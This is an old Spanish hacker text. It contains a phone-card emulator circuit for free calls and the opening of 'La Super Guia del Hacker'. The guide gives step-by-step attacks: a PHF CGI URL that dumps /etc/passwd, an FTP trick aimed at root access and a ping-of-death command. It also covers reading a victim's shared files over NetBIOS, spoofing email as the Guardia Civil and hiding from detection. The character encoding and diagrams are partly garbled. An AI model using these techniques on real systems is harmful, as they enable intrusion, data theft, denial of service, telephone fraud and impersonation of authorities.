llamada con una tarjeta de 1000 pts. se pierden a lo m s 4 pts. (de 0 a 4, dependiendo de lo que le

falte al importe de la llamada para llegar a m£ltiplo de 5 pts.), y en media 2 pts. por llamada. En una

tarjeta de 2100 pts. las p‚rdidas medias han de ser mayores (las unidades lo son, y el redondeo es

por abajo). Desde luego, es nefasto utilizar una tarjeta de 2100 pts. s¢lo para llamadas urbanas de

25 pts.: las 30 primeras ser¡an a 25 pts, las 30 restantes (¨por qu‚ 30?) ser¡an a 40 pts.

– ­Ojo con dejar 5, 10 o 15 pts. al final en una tarjeta! Es posibleque no puedan ser utilizadas, ya

que la llamada m¡nima es de 20 pts. Existe la posibilidad de vaciar la tarjeta en la cabina cuando

est  casi terminada, con el fin de emplear el cr‚dito restante junto con otro medio de pago, pero es

una posibilidad que est  muy poco documentada en las cabinas.

Espero que esto ayude a todos un poco a utilizar m s inteligentemente las tarjetas. Seguiremos

investigando.

Para m s informaci¢n, el grupo rec.collecting.phonecards de las news.

 

 

 

 

 

 

 

Otro emulador de Tarjetas de (T)

 

Aqui teneis otro esquema para emular una tarjeta de telefonica, no esta

probado asi que agradeceria que si alguien lo contruye me cuente si

funciona. E-mail warezzman@geocities.com

 

————–8<————————————–8<—————-

  • ESTA¥O 60/40
  • 2 RESISTENCIAS DE 1K OHMS      [²²²]
  • 1 CAPACITORES ELECTROLITICOS 0.1 MICROFARADIOS (CERAMICO)      [º]
  • 2 CAPACITORES ELECTROLITICOS 0.00 47 MICROFARADIOS (CERAMICO)      [Û]
  • 2 TRANSISTORES 2N 2222      [é]
  • 1 CIRCUITO INTEGRADO TL-081
  • 1 DIODO VARICAP BB 122      [û]
  • 1 TARJETA CHIP DE 25 CREDITOS (NUEVA)
  • 1 CABLE 1 MICRON (30 CM) (EL DE BOBINA DE MOTORES SCALECTRIC)   [ÄÄÄ]

 

PLANO GENERAL:

—– ——–

T           ÚÄÄÄÄÄÄÄÄÄ¿       ÚÄÄÄÄÄÄÄ¿

1³         À¿     ÚÙ       ³5

A           ³          À¿  ÚÄÙ        ³

C      ÀÄÄÄÄÄÄÄÄÄ¿ ³ ÚÙ ÚÄÄÄÄÄÄÄÄÙ

R           ÚÄÄÄÄÄÄÄ¿ ÀÄÙ ³ ÚÙÚÄÄÄÄÄÄÄ¿

H     2³       À¿ÚÄÄÄÙ ³ÚÙ       ³6

J           ÀÄÄÄÄÄÄÄÄÙ³     ³ÀÄÄÄÄÄÄÄÄÙ

I      ÚÄÄÄÄÄÄÄÄ¿³     ³ÚÄÄÄÄÄÄÄÄ¿

E          3³       ÚÙÀÄÄÄÄÄÙÀ¿       ³7

P      ÀÄÄÄÄÄÄÄÙ ÚÄ¿ ÚÄ¿ ÀÄÄÄÄÄÄÄÙ

T           ÚÄÄÄÄÄÄÄÄÄÙ ³ ³ ÀÄÄÄÄÄÄÄÄÄ¿

4³          ÚÙ À¿    ³8

A           ³         ÚÙ   À¿         ³

ÀÄÄÄÄÄÄÄÄÄÙ     ÀÄÄÄÄÄÄÄÄÄÙ

 

[1]

à ;          ³

ÚÄÄÄÂÄÄÄ´

ÚÄÄIJ²²ÄÄÄÄÄÄÄ¿          ³   ³   ³

³             À¿         û   ³   ³

³              ÀÄÄÄÄÄÄÄÄÄ´   ³   ³

³  ÉÍÍÍÍ»                Û   Û   º

³[8¹ == ÌÄ[5]            ³   ³   ³

ÀÄĹ TL ÌÄÄÄ¿            ÃÄÄÄÁÄÄÄÙ

[2]Ĺ 081Ì[4]³     ÚÄÄÄÄÄÄÙ

[3]Ĺ    ÌÄÄÄ´    /

ÈÍÍÍͼ   ³   /

²²²-é

³  *\

³    ÃÄÄÄÄ[6]

³   /

ÀÄÄé

*\

ÀÄÄÄÄ[7]

*=marca

Bueno… Luego de Estudiar el Plano.. fijate bien como soldar.. que sea con una punta fina en lo posible y rapida (que no caliente mucho).

Recomiendo hacer un surco en la Tarjeta para poder pasar los cables y luego pegarlos con una cinta puesto que hay poco espacio entre la tarjeta y la en-trada de la tarjeta.. y podrian los cables tan finos cortarse muy facilmente.

Estos componentes se consiguen en una simple casa de electronica, recomen-damos probarlo de noche debido al alto trafico de personas curiosas e inespe-radas que se pueden presentar (pitufos, pikoletos, etc).

El Circuito es una copia fiel de unos planos del propio telefono visto por dentro y estudiado por osciloscopio y probado varias veces.., lo cual, debe funcionar a la primera.., aunque eso si, Hagan Bien Las Conexiones!…

————–8<————————————–8<—————-

 

13-01-1998.

??????

°±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°

°±ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»±°

°±ºÚ  LA SUPER GUIA DEL HACKER ¿º±°

°±º³ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»³º±°

°±º³ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ³º±°

°±ºÀ        by NOBODY          Ùº±°

°±ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ±°

°±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°

 

 

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

 

Nota Del Autor: No me hago responsable de la mala utilizacion de la

informacion aqui expuesta ya que tan solo es para fines

didacticos.

Esta guia es de distribucion libre excepto para las

instituciones gubernamentales que deberan abonar 2000 pts

a alguna fundacion para apadrinar ni¤os.

 

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

 

  • INDICE:

 

1 ……………………. Que Es Esta Guia Exactamente ?

2 ……………………. Descripcion General De Windows.

2a ………………….. Seguridad En Windows.

3 ……………………. Protocolo TCP/IP y Demas Historias.

3a ………………….. Puertos.

3b ………………….. Ftp.

3c ………………….. Telnet.

4 ……………………. Hacking Basico En Windows.

4a ………………….. Phf.

4b ………………….. Ftp.

4c ………………….. Ping De La Muerte.

4d ………………….. Recursos Compartidos.

4e ………………….. Fake Mail Con El Telnet.

4f ………………….. Cambiando El Entorno.

4g ………………….. Finger.

4h ………………….. Whois.

4i ………………….. Tracert.

5 ……………………. Utilizacion De Tools.

5a ………………….. SkamWerks Lab version 1.1b.

5b ………………….. WaReZ! Version 95.12.31.

5c ………………….. John the Ripper v1.4.

5d ………………….. Gobbler v 2.1.

5e ………………….. Modificando el WS_FTP.

5f ………………….. Sharepasswd.

5g ………………….. Snadboy’s Revelation v1.1.

5h ………………….. Keylog95.

5i ………………….. Glide.

5j ………………….. Win95 AnonyMail v 1.0.

5k ………………….. Hacker’s Utility, V 1.02.

5l ………………….. Haktek v1.1.

5m ………………….. Claymore Brute Force.

6 ……………………. Medidas De Seguridad.

6a ………………….. Protegiendo Nuestro Ordenador.

6a1 ………………… Ataques Tipicos a Nuestro Windows.

6a2 ………………… Encriptacion De Nuestra Informacion.

6a3 ………………… Eliminar Informacion De Forma Segura.

6a4 ………………… Eliminacion De Virus.

6b ………………….. Protegiendo Nuestras Acciones.

6b1 ………………… Borrando Nuestras Huellas.

6b2 ………………… Encriptando Nuestro Correo.

7 ……………………. Sugerencias Para Un Mejor Hacking.

8 ……………………. Obtener Informacion.

9 ……………………. Despedida.

9a ………………….. Agradecimientos.

 

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

 

1.   Que Es Esta Guia Exactamente ?

 

Esta guia esta enfocado hacia todo aquel que quiere ser hacker pero no

quiere aprender unix o no lo sabe manejar (grave error). Pues por esta

razon esta guia esta enfocada a los usuarios de windows, principalmente

los de win95. Por el contrario esta guia no se dedicara al NT o Unix,

aunque por supuesto se hara referencia a estos sistemas sobre todo cuando

son estos mismos Sistemas Operativos en los cuales se centraran nuestros

actos, supuestamente legales 🙂

Todo esto que digo puede sonar tonterias y puedes p0ensar que en win95 no podras llegar a ser un gran hacker porque es necesario conocer unix, y estoy totalmente de acuerdo, pero solo pretendo dar una oportunidad para hacer sus pinitos a aquellos que solo saber usar win95, yo por mi parte aconsejo aprender unix por varias razones que no viene a cuento en esta guia.

Con esta guia te convertiras en un magnifico Hacker usando un sistema que no es propenso al hacking. Como es normal al usar win95 estaremos muy limitados en muchos aspectos pero podras aprender por ejemplo, algunos bug que podras usar en tu favor, la utilizacion de diversas herramientas hacker que no estan disponibles generalemente en win95 y ademas a usar los recursos que te ofrece Internet en tu favor, abreviando un poco tanta charla, llegaras a conocer la red de una forma diferente y a manejar win95 de forma distinta a lo conocido hasta ahora.

2.   Descripcion General De Windows.

 

Como todos sabemos el windows95 es un popular sistema operativo de la casa

Microsoft, el cual es conocido tanto por sus adepto ya que es muy sencillo

y vistoso pero al igual tambien es muy conocido por su inseguridad en casi

todos sus aspectos, ademas no ofrece tanta versativilidad como otros

sistemas operativos. Por ejemplo este es el caso de su “Multitarea” la cual

es virtual y no real, si quieres hacer la prueba pon en marcha el defrag y

ejecuta otro programa 🙂 y veras esa famosa Multitarea.

El win95 es un sistema operativo de 32 bits multitarea, que es muy comodo para la gente que busca facilidad, pero no te enga¤es pensando que es un sistema ideal para Internet, puede que para un usuario convencional le sea estupendo pero para un Hacker se queda muy corto de calle, ya que le falta muchos servicios que otros sistemas operativos si traen como el que ya tantas veces he repetido, el Unix (se nota que me encanta??:).

Aqui os dejo de dar la murga sobre win95 ya que este texto no esta destinado a hablar sobre este sistema sino a usarlo para hackear. Ademas no creo que este contando nada nuevo sobre windows o sea que mejor me callo y si no sabes mucho sobre win95, pues ya sabes comprate un libro.

2a. Seguridad En Windows.

Como todos sabemos la seguridad en win95 es nula, es decir, win95 no tiene seguridad por si mismo, un claro ejemplo de esto que es las ventanas que nos piden un password las podemos cerrar pulsando sobre la X o tambien nos basta con pulsar ctrl+atl+supr, con lo que nos salteremo esta ventana sin meter ningun password.

Por eso para que nuestro ventanas (nombre que se le da a win95:) tendremos que instalarle algun paquete de seguridad disponible por la red, que hay muchos y buenos y lo mejor es que son Freeware (gratis) aunque siempre puedes comprar algun paquete comercial de seguridad, en mi opinion alguna veces una tonteria, ya que nos pueden cobrar un precio abusivo y cuando llega la oportunidad de demostrar su calidad nos falla, ya que no hay nada seguro 100%.

Proteger nuestro win95 es cosa de cada uno pero tranquilidad, que la cosa no es muy dificil, es cuestion de estar atento a las novedades, en otras palabras estar informado. Mas abajo ya te entereras de estas cosas.

3.   Protocolo TCP/IP y Demas Historias.

 

El protocolo TCP/IP, es el mas usado y seguramente no lo sabias, ya que

engloba casi todos los servicios que solemos usar como por ejemplo cuando

hacemos telnet, mail, ftp o cualquier cosa.

TCP/IP proviene de Transmission Control Protocol y Internet Protocol respectivamente. Por fortuna para los usuarios de win95, este protocolo ya viene incorporado nativamente en el sistema, al contrario que ocurria con el windows 3.x, el cual lo teniamos que instalar para poder conectar a Internet.

Como has podido comprobar en realidad son 2 protocolos pero que estan unidos, el primero o sea el TCP es el encargado de las comunicaciones y de la transmision de los paquetes cuando estamos conectados a un servidor. El IP es el encargado de que los paquetes llegen a destino por orden aunque tomen caminos diferentes.

  • Diagrama del TCP *

 

cliente ->  El cliente le envia una  -> servidor

solicitud de conexion

espeficicando el puerto

de conexion al servidor.

 

cliente <-  El servidor le responde  <- servidor

que conoce su peticion

de conexion.

 

cliente ->  El cliente le devuelve   <- servidor

otra vez la peticion y

el circuito ya esta

abierto.

 

  • Diagrama del IP *

 

³Informacion general³Direccion IP³Direccion IP³Datos³

³de cabezera.       ³de origen   ³de destino. ³     ³

Pues aqui se acaba la explicacion basica de este protocolo, para el que este interesado en profundizar le remito a que se pille el RFC 1180 o un fichero disponible en multitud de servidores, desgraciadamente no te puede asegurar el nombre del fichero ya que lo he encontrado de varias formas pero te dare el nombre que aparece al editarlo, ya que en todos es igual:

Introduction

to

the Internet Protocols

C                       R

 

C       S

Computer Science Facilities Group

C       I

 

L                       S

 

RUTGERS

The State University of New Jersey

3 July 1987

 

3a. Puertos

Antes ya os he explicado muy brevemente la comunicacion del protocolo en cuestion. Pues ahora os pongo una extensa lista sobre los distintos puertos y sus servicios correspondientes.

echo                7/tcp

echo                7/udp

discard             9/tcp    sink null

discard             9/udp    sink null

systat             11/tcp

systat             11/tcp    users

daytime            13/tcp

daytime            13/udp

netstat            15/tcp

qotd               17/tcp    quote

qotd               17/udp    quote

chargen            19/tcp    ttytst source

chargen            19/udp    ttytst source

ftp-data           20/tcp

ftp                21/tcp

telnet             23/tcp

smtp               25/tcp    mail

time               37/tcp    timserver

time               37/udp    timserver

rlp                39/udp    resource      # resource location

name               42/tcp    nameserver

name               42/udp    nameserver

whois              43/tcp    nicname       # usually to sri-nic

domain             53/tcp    nameserver    # name-domain server

domain             53/udp    nameserver

nameserver         53/tcp    domain        # name-domain server

nameserver         53/udp    domain

mtp                57/tcp                  # deprecated

bootp              67/udp                  # boot program server

tftp               69/udp

rje                77/tcp    netrjs

finger             79/tcp

link               87/tcp    ttylink

supdup             95/tcp

hostnames         101/tcp    hostname      # usually from sri-nic

iso-tsap          102/tcp

dictionary        103/tcp    webster

x400              103/tcp                  # ISO Mail

x400-snd          104/tcp

csnet-ns          105/tcp

pop               109/tcp    postoffice

pop2              109/tcp                  # Post Office

pop3              110/tcp    postoffice

portmap           111/tcp

portmap           111/udp

sunrpc            111/tcp

sunrpc            111/udp

auth              113/tcp    authentication

sftp              115/tcp

path              117/tcp

uucp-path         117/tcp

nntp              119/tcp    usenet        # Network News Transfer

ntp               123/udp    ntpd ntp      # network time protocol (exp)

nbname            137/udp

nbdatagram        138/udp

nbsession         139/tcp

NeWS              144/tcp    news

sgmp              153/udp    sgmp

tcprepo           158/tcp    repository    # PCMAIL

snmp              161/udp    snmp

snmp-trap         162/udp    snmp

print-srv         170/tcp                  # network PostScript

vmnet             175/tcp

load              315/udp

vmnet0            400/tcp

sytek             500/udp

biff              512/udp    comsat

exec              512/tcp

login             513/tcp

who               513/udp    whod

shell             514/tcp    cmd           # no passwords used

syslog            514/udp

printer           515/tcp    spooler       # line printer spooler

talk              517/udp

ntalk             518/udp

efs               520/tcp                  # for LucasFilm

route             520/udp    router routed

timed             525/udp    timeserver

tempo             526/tcp    newdate

courier           530/tcp    rpc

conference        531/tcp    chat

rvd-control       531/udp    MIT disk

netnews           532/tcp    readnews

netwall           533/udp                 # -for emergency broadcasts

uucp              540/tcp    uucpd        # uucp daemon

klogin            543/tcp                 # Kerberos authenticated rlogin

kshell            544/tcp    cmd          # and remote shell

new-rwho          550/udp    new-who      # experimental

remotefs          556/tcp    rfs_server rfs# Brunhoff remote filesystem

rmonitor          560/udp    rmonitord     # experimental

monitor           561/udp                  # experimental

garcon            600/tcp

maitrd            601/tcp

busboy            602/tcp

acctmaster        700/udp

acctslave         701/udp

acct              702/udp

acctlogin         703/udp

acctprinter       704/udp

elcsd             704/udp                  # errlog

acctinfo          705/udp

acctslave2        706/udp

acctdisk          707/udp

kerberos          750/tcp    kdc          # Kerberos authentication—tcp

kerberos          750/udp    kdc          # Kerberos authentication—udp

kerberos_master   751/tcp                 # Kerberos authentication

kerberos_master   751/udp                 # Kerberos authentication

passwd_server     752/udp                 # Kerberos passwd server

userreg_server    753/udp                 # Kerberos userreg server

krb_prop          754/tcp                 # Kerberos slave propagation

erlogin           888/tcp                 # Login and environment passing

kpop             1109/tcp                 # Pop with Kerberos

phone            1167/udp

ingreslock       1524/tcp

maze             1666/udp

nfs              2049/udp                  # sun nfs

knetd            2053/tcp                  # Kerberos de-multiplexor

eklogin          2105/tcp                  # Kerberos encrypted rlogin

rmt              5555/tcp    rmtd

mtb              5556/tcp    mtbd          # mtb backup

man              9535/tcp                  # remote man server

w                9536/tcp

mantst           9537/tcp                  # remote man server, testing

bnews           10000/tcp

rscs0           10000/udp

queue           10001/tcp

rscs1           10001/udp

poker           10002/tcp

rscs2           10002/udp

gateway         10003/tcp

rscs3           10003/udp

remp            10004/tcp

rscs4           10004/udp

rscs5           10005/udp

rscs6           10006/udp

rscs7           10007/udp

rscs8           10008/udp

rscs9           10009/udp

rscsa           10010/udp

rscsb           10011/udp

qmaster         10012/tcp

qmaster         10012/udp

La verdad es que no te quejaras 🙂 de esta lista. Si quieres mas

informacion sobre los puertos con su debida explicacion mirate el RFC 1060.

3b. Ftp.

Supongo que a estas alturas sabras lo que es el FTP, File Transfer Protocol o sea Protocolo de Transferencia de Ficheros y como podras observar en el listado de los puertos al FTP le corresponde el 21. Este servicio hay que conocerlo muy bien ya que ademas que nos sirve para subir o bajar ficheros tambien nos puede ayuda en nuestros propositos :), por supuesto el hacking.

Sino dispones de ningun cliente FTP, el propio win95 lleva incorporado uno, el unico problema es que no es muy vistoso ya que funciona en modo MS-DOS pero es muy versatil y perfecto para nosotros. Para ejecutarlo basta que activemos una ventana MS-DOS y en la linea de comados escribamos FTP y se pondra en modo FTP. Un ejemplo seria esto:

c:\>ftp   <- Escribimos FTP.

 

ftp>      <- activado el modo FTP.

 

Si no sabes manejarlo, escribiendo un “?” o “help” saldran todos los

comandos disponibles del FTP, como no viene a cuento no los explicare pero

buscando por hay podras hallar informacion de lo que hace cada cosa pero

lo mejor es que lo averigues tu solito.

3c. Telnet.

Por suerte los usuarios de win95 con el telnet tienen mas suerte o menos segun se mire, ya que el servico de Telnet de win95 que tambien esta incorporado en el sistema, es muy facil de manejar y ademas tiene ventana propia. Por eso si ejecutamos telnet se abrira una ventana y lo unico que tenemos que hacer es ir al menu en la opcion “conectar” y dentro de aqui la de “sistema remoto”, entonces se activara otra ventana en la que nos saldra tres opciones, la primera “nombre de host” es donde queremos conectar, “puerto” a que puerto conectamos, por defecto el 23 y por ultimo tenemos “tipo de terminal” que no hace falta cambiarlo.

El telnet es importante ya que es asi como entramos a una cuenta en un servidor y podremos hacer lo que tengamos permitido en el sistema.  Logicamente entraremos en una cuenta si tenemos el login y password.

4.   Hacking Basico En Windows.

 

Por fin ya se a acabo el latazo de la explicacion de como moverse por

win95. Ahora ya podemos empezar a jugar un poco por inet :), siempre

por puro placer pero jamas con malos fines.

En esta seccion os explicare varias maneras de hacking usando el win95 a pelo o sea sin utilizar ninguna herramienta externa.

4a. Phf.

La primera tecnica ya es muy conocida y la verdad es que tendremos suerte si nos funciona pero todavia sigue vigente y doy fe de ello }:-) solo hay que saber buscar y tener paciencia.

Para que esto nos funcione solo tenemos que tener un navegador instalado en nuesto win95, por defecto suele venir el IE o sea que no podras decir que no tienes, siempre y cuando hallas instalado los paquetes extras.

Lo que tenemos que hacer es ir con nuestro navegador a algun servidor que corra sobre unix (muchos). Conectamos con un servidor en cuestion, www.victima.com, ya estamos viendo su web, llegados aqui, a esa linea le a¤adimos:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Como ya he dicho si todo sale bien nos aparecera el fichero de passwords del servidor con lo que solo nos queda grabarlo en nuestro HD. Por supuesto el PHF tiene muchas variantes por eso te aconsejo que busce algo que profundice en esta tecnica al igual que tambien busce informacion sobre el fichero passwd de unix para comprenderlo.

4b. Ftp.

Antes ya te he explicado el funcionamiento del FTP de win95, ahora lo usaremos para sacer el fichero de password de un servidor. Desde una ventana del MS-DOS llamamos al programa FTP y escribimos:

ftp> open victima.com

Conect to victima.com

220 victim.com FTP server ready.

 

ftp> quote user ftp

331 Guest login ok, send ident as password.

 

ftp> quote cwd ~root

530 Please login with USER and PASS.

 

ftp> quote pass ftp

230 Guest login ok, access restrictions apply.

 

ftp> dir (o lo que querramos)

Y como siempre es el caso si todo sale bien estaremos metidos en el sistema como root (en lenguaje unix significa el superusuario, o sea el que controla el servidor). Por desgracia esta tecnica es muy antigua por lo que mas seguro no funcionara pero todo es posible.

4c. Ping De La Muerte.

Esta tecnica no es propia de un Hacker sino de un Lamer (no quiero decir Cracker para no ofender a nadie 🙂 ya que unicamente sirve para tirar un servidor o sea que se desconecta de Internet y esto puede representar grandes perdidas a una empresa. Con esto solo os quiero decir que aunque aqui os lo explicare no es cuestion que lo useis por Internet atacando servidores.

La utilidad Ping sirve principalmente para saber si un servidor esta activo y ademas podemos calcular el trafico en la red segun el tiempo de su respuesta. Basicamente se le envia un paquete a un servidor y este nos contesta, solo que si se le envia un paquete muy grande puede llegar desordenado, por lo que el servidor pide al origen que le vuelva a enviar una parte o la totalidad del paquete, por lo que se produce un datagrama del ping muy grande y producira su caida. Para ejecutar este ataque solo tenemos que escribir :

c:\>ping -l 65510 victima.com

Pues esta simple linea es muy destructiva, por lo que tened cuidado y antes de hacer tonterias leed la parte sobre seguridad de la guia.

4d. Recursos Compartidos.

Como win95 NO tiene seguridad nos permite colarnos en el disco duro de otra persona por Internet y lo mejor del caso es que esta tecnica nos la proporciona los propios programas del win95. Por supuesto no todo es tan sencillo ya que hay que cumplir unos requisitos. Esto se debe a una mala configuracion del propio usuario al no configurar adecuadamente los recursos compartidos de su red corriendo sobre win95.

Para colarnos en el HD de otro ordenador debenos tener nuestro ordenador bien configurado, o sea el compartir recursos bien puesto y tambien tener el Netbios instalado. Para configurarlo, tenemos que tener activado la opcion de “compartir ficheros e impresoras” en MIPC->Panel de Control->Red.  SI por el caso la opcion esta desactivada simplemente pulsamos el boton de “a¤adir” y a¤adimos el servicio “Compartir ficheros e impresoras en redes Microsoft”. En la misma ventana, debemos tener el “Primer inicio de sesion” en “Cliente para redes Microsoft”. Tambien tiene que estar activado el “Cliente para redes Microsoft”, que viene por defecto en MIPC->Acceso Telefonico a Redes->Conexion a Inet que usaremos->boton derecho-> propiedades, debiendo estar activada la casilla “conectarse a la red”.

Ahora ya podemos ponernos manos a la obra, entonces volvemos a una ventana del MS-DOS y ejecutamos:

c:\>nbtstat -A (IP DE LA VICTIMA)

NetBIOS Remote Machine Name Table

Name               Type         Status

VICTIMAMACHINE    <00>    UNIQUE     Registered

VICTIMAGROUP      <00>    GROUP      Registered

VICTIMAMACHINE    <03>    UNIQUE     Registered

VICTIMAMACHINE    <20>    UNIQUE     Registered

VICTIMAGROUP      <1E>    GROUP      Registered

 

MAC Address = 44-45-53-54-00-00

Cuando ejecutamos este comando nos saldra una tabla como esta y el primer ‘UNIQUE’ de tipo <00> es el nombre de la victima y como puedes ver la maquina se llama VICTIMAMACHINE.

Entonces ahora creamos/editamos el archivo LMHOSTS, si por el caso encontrais uno que pone LMHOSTS.SAM no lo toqueis, poniendo la direccion IP y el nombre de la maquina en cuestion, esto seria de la siguiente forma:

c:\>edit c:\windows\system32\LMHOSTS

VICTIMAMACHINE

Entonces cerramos el fichero y desde un ventana del MS-DOS ejecutamos un comando para a¤adir el ordenador de la victima a nuestro Netbios y esto seria de la siguiente forma:

c:\>NBTSTAT -R

Ahora nos interesa saber que recursos comparte la victima y esto tampoco nos traera complicacion alguna:

c:\>net view \\VICTIMAMACHINE

Shared resources at \\VICTIMAMACHINE

Sharename    Type         Comment

BANCO        Disk

Y como podemos observar comparte una carpeta llamada BANCO.

Ahora ya podemos operar como si fuese una terminal mas en nuestra red local sobre win95. Ya solo nos queda ejecutar el comando que querramos, si por ejemplo queremos ver el contenido, solo tenemos que escribir:

c:\> dir \\VICTIMAMACHINE\BANCO

O para leer cualquier fichero de la carpeta:

c:\> type \\VICTIMAMACHINE\BANCO\CUENTABANCARIA.TXT

Si queremos conectar al recurso compartido de forma grafica (o sea con una ventana y no seguir usando el MS-DOS), solo tenemos que pulsar INICIO->BUSCAR PC y dentremos el PC remoto pero esto solo es posible si hemos a¤adido la VICTIMAMACHINE a una unidad de red a la que podamos llamar, deberemos ejecutar:

c:\>NET USE e: \\MIPC\WINDOWS

Esta tecnica solo funciona si la maquina remota ejecuta win95 o win 3.11 y ademas comparte las carpetas sin contrase¤a en modo “Acceso a nivel compartido” MIPC->Panel de control->Red | Control de acceso. Si utilizase el “Acceso a nivel de usuario” nuestro grupo debe estar autorizado en esa maquina. Podemos probar a intentar insertar el grupo de nuestra maquina para que este autorizada, esto lo conseguiremos con el Regedit, por desgracia los sistemas win95 y OSR2 que estan ejecutando el Servidor Web Personal de Microsoft desactivan esta posibilidad de acceso remoto tras informar de la conveniencia de hacerlo al usuario, ya que el servidor web obliga a compartir carpetas aun sin tener red local.

Logicamente un usuario que haya tenido el despiste de conectarse a Internet con carpetas compartidas no toma luego medidas de control sobre quien entra en su maquina. Pero no hay que hacer ilusiones ya que podemos ser pillados si por ejemplo un usuario ejecuta el programa Netwatch, que muestra los usuarios conectados a nuestra computadora en cada momento y por supuesto el nombre de las computadoras por lo que es aconsejable cambiar el nombre de nuestra computadora usando el Regedit. Si nuestra maquina se llama HACKERNOBO cambiamos todas la cadenas donde aperezca este nombre con el Regedit a un nombre menos sospechoso.

Si no conectamos la VICTIMAMACHINE como una unidad mas a nuestra computadora no nos tendremos que preocupar del Netwatch, asi conseguiremos una cierta seguridad personal ya que lo mas seguro, la VICTIMAMACHINE no se dara cuenta de nuestra entrada. Tambien hay que decir que si la VICTIMAMACHINE quiere apagar su computadora le saldra el mensaje del tipo “hay otros usuarios conectados a su ordenador, si apaga se desconectaran” si ocurre esto seremos pillados.

4e. Fake Mail Con El Telnet.

Esta tecnica nos ayuda a suplantar la direccion de correo electronica que querramos :). La verdad es que tiene pocos usos, en mi opinion debido a una serie de razones pero siempre puede servir para gastar una buena broma enviando aun amigo un mail del director de la Universidad diciendo que ha sido expulsado por pirata }:-) y no te cuento si es un mail de la Guardia Civil.

La verdad es que es muy sencillo de hacer pero por supuesto habra que tomar unas ciertas medidas de seguridad, que ya explicare luego. Lo primero que tenemos que hacer es ejecutar el cliente Telnet (sobre el manejo del Telnet ya lo explique mas arriba) y donde pone “puerto” en vez de poner el puerto 23 pondremos el 25 que corresponde al puerto del mail y esperamos a que nos conectemos a ese puerto, cuando conectemos nos saldra un mensaje y esta esperando a que pulsemoa alguna tecla:

220 Howdy From mail.airmail.net running Smail 3.1.30.16 (ESMTP)

[d/o/u/g] ready at Thu, 10 Oct 96 00:03:17 -500 (CDT)

Muchas veces lo que podemos hacer es escribir “help” y saldran todos los comandos, tambien podemos escribir “echo” y la maquina nos contestara que esta lista. Para escribir un mail hay que seguir una serie de pasos:

mail from:gc.uco@mad.servicom.es <- ponemos de donde viene.

El servidor nos contesta:

250 <gc.uco@mad.servicom.es> … Sender Okay

Ahora escribimos:

rcpt to:nob_ody@xxxxxxxx.com <- a quien se lo enviamos.

El servidor nos contesta:

250 <nob_ody@xxxxxxxx.com> … Recipiant Okay

Ahora escribimos:

data

El servidor nos contesta:

354 Enter mail, end with “.” on a line by itself

Ahora escribimos:

   To:           nob_ody@xxxxxxxx.com

From:      gc.uco@mad.servicom.es

Subject:  Te querremos!!

Bueno nobody, solo te queremos decir que nos gusta tu trabajo y te querremos fichar para el departamento.

Direccion General de

la Guardia Civil .  <- para terminar el mail.

 

El servidor nos contesta:

250 Mail accepted

Ahora escribimos:

quit  <- ya esta todo listo 🙂

Pues ves como es realmente simple!! Pero antes de empezar a jugar con esta tecnica tenemos que asegurarnos que el servidor de mail no regrista nuestro IP, esto lo podremos averiguar si enviamos un mail de prueba a alguna cuenta anomima que tengamos. Si vemos que en la cabecera del mail sale nuestro IP ese servidor no sirve. Hay listas disponibles por Internet sobre servidores que permiten hacer esto.

4f. Cambiando El Entorno.

Esta tecnica no es que sea propia del hacking ya que solo sirve para cambiar la pantalla de inicio o la de finalizar windows. Los logos de windows tienen un formato BMP 320X400 pero estan clamuflados en ficheros con extension SYS pero siguen siendo realmente BMP’S.

El logo del principio de windows (ya sabes el de las nubes) lo podeis encontrar como:

c:\>logo.sys

Si no encuentras este fichero, entonces lo que tenemos que hacer es crearlo y grabarlo alli mismo y cuando windows vuelva a reiniciar usara nuestro grafico y si lo volvemos a quitar, usara el de siempre. El logo del final (cuando cierra windows) esta en el directorio windows y lo podemos encontrar como:

c:\windows>logos.sys

Logicamente es obligatorio que los graficos que querramos sustituir tengan de tama¤o 320×400 y sean ficheros BMP’S. Conviene que les pongamos el atributo de ocultos, que esto se hace con el comando Attrib, por ejemplo:

c:\windows>attrib +h logos.sys <- lo oculta.

c:\windows>attrib -h logos.sys <- lo hace visible.

4g. Finger.

La utilidad Finger, muy usada en Unix, en realidad no esta disponible en Win95 pero como somos Hackers nosotros si que somos capaces desde Win95.  Finger se utiliza para obtener informacion de un servidor. Puede parecer una tonteria pero es util, por ejemplo, podemos empezar a sacar los Login’s de los usuarios y empezar a adivinar sus passwords, tambien podemos vigilar al root del servidor (cada cuanto tiempo conecta, cuando fue la ultima vez que estuvo, etc…) y asi muchas cosas.

La verdad es que para usar el Finger usaremos cualquier navegador, IE o Netscape. Simplemete nos dirigimos a un url un poco especial, es un web que permite hacer Finger a cualquier host y nos deveulve los resultados.

Esto se conoce como “Finger Gateway”. El url del web es:

http://www.hgp.med.umich.edu/cgi-bin/finger

4h. Whois.

La utilidad Whois, al igual que Finger es muy comun en Unix y no esta disponible en Win95 pero comos somos asi de listos saldremos del apuro.  Tambien sirve para pedir informacion de un servidor pero no el igual que Finger, ya que se diferencian en el tipo de informacion, el finger se suele utilizar mucho para buscar direcciones de correo mientras que el Whois, para averiguar informacion sobre un servidor en concreto.

Para usar esta utilidad, ejecutamos el Telnet y nos dirigimos a un host muy especial:

c:\>telnet whois.internic.net

Por supuesto Internic, una empresa privada norte ameriacana que se encarga de controlar los dominios de Internet, y podemos usar su base de datos para pedir informacion sobre un servidor.

Cuando conectemos a la base de datos de Internic, escribimos “Whois nombre_ del_servidor” y nos sacara la informacion.

telnet InterNIC > whois aol.com

Connecting to the rs Database . . . . . .

Connected to the rs Database

America Online (AOL-DOM)

12100 Sunrise Valley Drive

Reston, Virginia 22091

USA

 

Domain Name: AOL.COM

Administrative Contact:

O’Donnell, David B  (DBO3)  PMDAtropos@AOL.COM

